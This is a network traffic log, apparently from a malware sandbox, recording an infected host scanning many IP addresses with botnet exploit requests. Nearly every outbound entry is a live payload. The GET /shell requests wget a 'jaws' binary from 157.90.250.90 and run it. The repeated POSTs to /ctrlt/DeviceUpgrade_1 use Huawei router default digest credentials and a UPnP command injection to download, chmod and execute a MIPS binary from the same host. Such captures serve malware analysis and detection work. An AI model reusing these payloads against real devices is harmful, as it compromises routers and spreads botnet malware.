Jan 2, 2024 06:24:45.225996017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.467701912 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:45 GMT Date: Tue, 02 Jan 2024 05:24:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 64 36 39 64 64 35 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 35 26 23 34 36 3b 32 65 36 32 62 38 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.bd69dd58.1704173085.2e62b87</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	50336	18.176.244.127	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.251137018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	59376	146.75.21.143	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.316760063 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.612858057 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-mnl9728 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	56258	156.254.100.155	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.346009970 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:46.890192986 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:48.713934898 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:52.361363888 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:59.784359932 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:14.374310017 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:44.066099882 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	58084	123.60.116.97	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.347163916 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:45.675971985 CET	402	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 02 Jan 2024 05:24:45 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive via: CHN-JSwuxi-GLOBAL2-CACHE96[2] X-CCDN-ERRCODE-SRC: 01 X-CCDN-FORBID-CODE: 040001 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	52086	148.72.211.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.420650959 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
